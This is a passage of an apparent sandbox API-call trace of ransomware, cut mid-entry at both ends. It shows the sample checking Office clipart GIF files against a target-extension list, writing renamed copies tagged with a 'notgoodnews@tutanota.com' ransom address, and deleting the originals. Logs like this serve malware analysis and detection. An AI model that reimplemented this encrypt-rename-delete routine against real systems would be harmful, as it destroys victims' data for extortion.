(lpString1=".7z", lpString2="GIF") returned -1 [0231.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 63 [0231.906] lstrlenW (lpString=".dbf") returned 4 [0231.906] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0231.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 63 [0231.906] lstrlenW (lpString=".1cd") returned 4 [0231.906] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0231.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 63 [0231.906] lstrlenW (lpString=".jpg") returned 4 [0231.906] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0231.907] lstrcmpiW (lpString1=".GIF", lpString2=".NEWS") returned -1 [0231.907] lstrlenW (lpString="AG00165_.GIF") returned 12 [0231.907] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00165_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0232.099] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x2f2ff1c | out: lpFileSize=0x2f2ff1c*=8582) returned 1 [0232.099] CloseHandle (hObject=0x3b0) returned 1 [0232.099] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00165_.gif")) returned 0x20 [0232.189] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00165_.gif.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0232.220] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00165_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0232.271] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0232.271] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0232.271] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00165_.gif.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0232.354] GetLastError () returned 0x0 [0232.431] ReadFile (in: hFile=0x324, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2f2fed4*=0x2186, lpOverlapped=0x0) returned 1 [0232.443] WriteFile (in: hFile=0x3b0, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x2190, lpNumberOfBytesWritten=0x2f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2f2fc9c*=0x2190, lpOverlapped=0x0) returned 1 [0232.451] ReadFile (in: hFile=0x324, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2f2fed4*=0x0, lpOverlapped=0x0) returned 1 [0232.451] WriteFile (in: hFile=0x3b0, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2f2fc9c*=0xec, lpOverlapped=0x0) returned 1 [0232.451] SetEndOfFile (hFile=0x3b0) returned 1 [0232.452] CloseHandle (hObject=0x3b0) returned 1 [0232.453] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0232.453] SetEndOfFile (hFile=0x324) returned 1 [0232.474] CloseHandle (hObject=0x324) returned 1 [0232.474] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0232.582] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00165_.gif")) returned 1 [0232.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 63 [0232.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 63 [0232.595] lstrlenW (lpString=".doc") returned 4 [0232.595] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0232.595] lstrlenW (lpString=".docx") returned 5 [0232.595] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0232.595] lstrlenW (lpString=".pdf") returned 4 [0232.595] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0232.595] lstrlenW (lpString=".xls") returned 4 [0232.595] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0232.596] lstrlenW (lpString=".xlsx") returned 5 [0232.596] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0232.596] lstrlenW (lpString=".ppt") returned 4 [0232.596] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0232.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 63 [0232.596] lstrlenW (lpString=".zip") returned 4 [0232.596] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0232.596] lstrlenW (lpString=".rar") returned 4 [0232.596] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0232.596] lstrlenW (lpString=".bz2") returned 4 [0232.596] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0232.597] lstrlenW (lpString=".7z") returned 3 [0232.597] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0232.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 63 [0232.597] lstrlenW (lpString=".dbf") returned 4 [0232.597] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0232.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 63 [0232.597] lstrlenW (lpString=".1cd") returned 4 [0232.597] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0232.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 63 [0232.597] lstrlenW (lpString=".jpg") returned 4 [0232.597] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0232.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 63 [0232.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 63 [0232.598] lstrlenW (lpString=".doc") returned 4 [0232.598] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0232.598] lstrlenW (lpString=".docx") returned 5 [0232.598] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0232.598] lstrlenW (lpString=".pdf") returned 4 [0232.598] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0232.598] lstrlenW (lpString=".xls") returned 4 [0232.598] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0232.598] lstrlenW (lpString=".xlsx") returned 5 [0232.598] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0232.598] lstrlenW (lpString=".ppt") returned 4 [0232.599] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0232.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 63 [0232.599] lstrlenW (lpString=".zip") returned 4 [0232.599] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0232.599] lstrlenW (lpString=".rar") returned 4 [0232.599] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0232.599] lstrlenW (lpString=".bz2") returned 4 [0232.599] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0232.599] lstrlenW (lpString=".7z") returned 3 [0232.599] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0232.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 63 [0232.599] lstrlenW (lpString=".dbf") returned 4 [0232.599] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0232.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 63 [0232.600] lstrlenW (lpString=".1cd") returned 4 [0232.600] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0232.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 63 [0232.600] lstrlenW (lpString=".jpg") returned 4 [0232.600] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0232.600] lstrcmpiW (lpString1=".GIF", lpString2=".NEWS") returned -1 [0232.601] lstrlenW (lpString="AG00172_.GIF") returned 12 [0232.601] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00172_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0232.718] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x2f2ff1c | out: lpFileSize=0x2f2ff1c*=4390) returned 1 [0232.719] CloseHandle (hObject=0x35c) returned 1 [0232.719] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00172_.gif")) returned 0x20 [0232.723] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00172_.gif.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0232.723] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00172_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0232.724] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0232.724] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0232.724] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00172_.gif.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0232.726] GetLastError () returned 0x0 [0232.726] ReadFile (in: hFile=0x35c, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2f2fed4*=0x1126, lpOverlapped=0x0) returned 1 [0232.732] WriteFile (in: hFile=0x1c0, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x1130, lpNumberOfBytesWritten=0x2f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2f2fc9c*=0x1130, lpOverlapped=0x0) returned 1 [0232.737] ReadFile (in: hFile=0x35c, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2f2fed4*=0x0, lpOverlapped=0x0) returned 1 [0232.737] WriteFile (in: hFile=0x1c0, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2f2fc9c*=0xec, lpOverlapped=0x0) returned 1 [0232.737] SetEndOfFile (hFile=0x1c0) returned 1 [0232.737] CloseHandle (hObject=0x1c0) returned 1 [0232.738] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0232.738] SetEndOfFile (hFile=0x35c) returned 1 [0232.782] CloseHandle (hObject=0x35c) returned 1 [0232.782] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0232.783] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00172_.gif")) returned 1 [0232.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 63 [0232.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 63 [0232.784] lstrlenW (lpString=".doc") returned 4 [0232.784] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0232.784] lstrlenW (lpString=".docx") returned 5 [0232.785] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0232.785] lstrlenW (lpString=".pdf") returned 4 [0232.785] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0232.785] lstrlenW (lpString=".xls") returned 4 [0232.785] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0232.785] lstrlenW (lpString=".xlsx") returned 5 [0232.785] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0232.785] lstrlenW (lpString=".ppt") returned 4 [0232.785] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0232.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 63 [0232.785] lstrlenW (lpString=".zip") returned 4 [0232.785] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0232.785] lstrlenW (lpString=".rar") returned 4 [0232.785] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0232.785] lstrlenW (lpString=".bz2") returned 4 [0232.786] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0232.786] lstrlenW (lpString=".7z") returned 3 [0232.786] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0232.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 63 [0232.786] lstrlenW (lpString=".dbf") returned 4 [0232.786] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0232.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 63 [0232.786] lstrlenW (lpString=".1cd") returned 4 [0232.786] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0232.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 63 [0232.786] lstrlenW (lpString=".jpg") returned 4 [0232.786] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0232.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 63 [0232.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 63 [0232.787] lstrlenW (lpString=".doc") returned 4 [0232.787] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0232.787] lstrlenW (lpString=".docx") returned 5 [0232.787] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0232.787] lstrlenW (lpString=".pdf") returned 4 [0232.787] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0232.787] lstrlenW (lpString=".xls") returned 4 [0232.787] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0232.787] lstrlenW (lpString=".xlsx") returned 5 [0232.787] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0232.787] lstrlenW (lpString=".ppt") returned 4 [0232.788] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0232.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 63 [0232.788] lstrlenW (lpString=".zip") returned 4 [0232.788] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0232.788] lstrlenW (lpString=".rar") returned 4 [0232.788] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0232.788] lstrlenW (lpString=".bz2") returned 4 [0232.788] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0232.788] lstrlenW (lpString=".7z") returned 3 [0232.788] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0232.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 63 [0232.788] lstrlenW (lpString=".dbf") returned 4 [0232.789] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0232.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 63 [0232.789] lstrlenW (lpString=".1cd") returned 4 [0232.789] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0232.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 63 [0232.789] lstrlenW (lpString=".jpg") returned 4 [0232.789] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0232.790] lstrcmpiW (lpString1=".GIF", lpString2=".NEWS") returned -1 [0232.790] lstrlenW (lpString="AG00175_.GIF") returned 12 [0232.790] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00175_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0232.791] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x2f2ff1c | out: lpFileSize=0x2f2ff1c*=3378) returned 1 [0232.791] CloseHandle (hObject=0x35c) returned 1 [0232.791] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00175_.gif")) returned 0x20 [0232.791] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00175_.gif.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0232.969] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00175_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0233.035] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0233.035] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0233.035] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00175_.gif.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0233.110] GetLastError () returned 0x0 [0233.111] ReadFile (in: hFile=0x35c, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2f2fed4*=0xd32, lpOverlapped=0x0) returned 1 [0233.342] WriteFile (in: hFile=0x3cc, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xd40, lpNumberOfBytesWritten=0x2f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2f2fc9c*=0xd40, lpOverlapped=0x0) returned 1 [0233.345] ReadFile (in: hFile=0x35c, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2f2fed4*=0x0, lpOverlapped=0x0) returned 1 [0233.345] WriteFile (in: hFile=0x3cc, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2f2fc9c*=0xec, lpOverlapped=0x0) returned 1 [0233.345] SetEndOfFile (hFile=0x3cc) returned 1 [0233.346] CloseHandle (hObject=0x3cc) returned 1 [0233.346] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0233.346] SetEndOfFile (hFile=0x35c) returned 1 [0233.356] CloseHandle (hObject=0x35c) returned 1 [0233.357] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0233.358] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00175_.gif")) returned 1 [0233.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 63 [0233.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 63 [0233.359] lstrlenW (lpString=".doc") returned 4 [0233.359] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0233.359] lstrlenW (lpString=".docx") returned 5 [0233.359] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0233.359] lstrlenW (lpString=".pdf") returned 4 [0233.359] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0233.359] lstrlenW (lpString=".xls") returned 4 [0233.359] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0233.359] lstrlenW (lpString=".xlsx") returned 5 [0233.359] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0233.359] lstrlenW (lpString=".ppt") returned 4 [0233.360] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0233.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 63 [0233.360] lstrlenW (lpString=".zip") returned 4 [0233.360] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0233.360] lstrlenW (lpString=".rar") returned 4 [0233.360] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0233.360] lstrlenW (lpString=".bz2") returned 4 [0233.360] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0233.360] lstrlenW (lpString=".7z") returned 3 [0233.360] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0233.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 63 [0233.360] lstrlenW (lpString=".dbf") returned 4 [0233.361] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0233.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 63 [0233.361] lstrlenW (lpString=".1cd") returned 4 [0233.361] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0233.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 63 [0233.361] lstrlenW (lpString=".jpg") returned 4 [0233.361] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0233.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 63 [0233.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 63 [0233.361] lstrlenW (lpString=".doc") returned 4 [0233.362] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0233.362] lstrlenW (lpString=".docx") returned 5 [0233.362] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0233.362] lstrlenW (lpString=".pdf") returned 4 [0233.362] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0233.362] lstrlenW (lpString=".xls") returned 4 [0233.362] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0233.362] lstrlenW (lpString=".xlsx") returned 5 [0233.362] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0233.362] lstrlenW (lpString=".ppt") returned 4 [0233.362] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0233.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 63 [0233.363] lstrlenW (lpString=".zip") returned 4 [0233.363] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0233.363] lstrlenW (lpString=".rar") returned 4 [0233.363] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0233.363] lstrlenW (lpString=".bz2") returned 4 [0233.363] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0233.363] lstrlenW (lpString=".7z") returned 3 [0233.363] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0233.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 63 [0233.363] lstrlenW (lpString=".dbf") returned 4 [0233.363] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0233.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 63 [0233.364] lstrlenW (lpString=".1cd") returned 4 [0233.364] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0233.364] lstrlenW (lpString="C:\\Program Files\\Microsoft 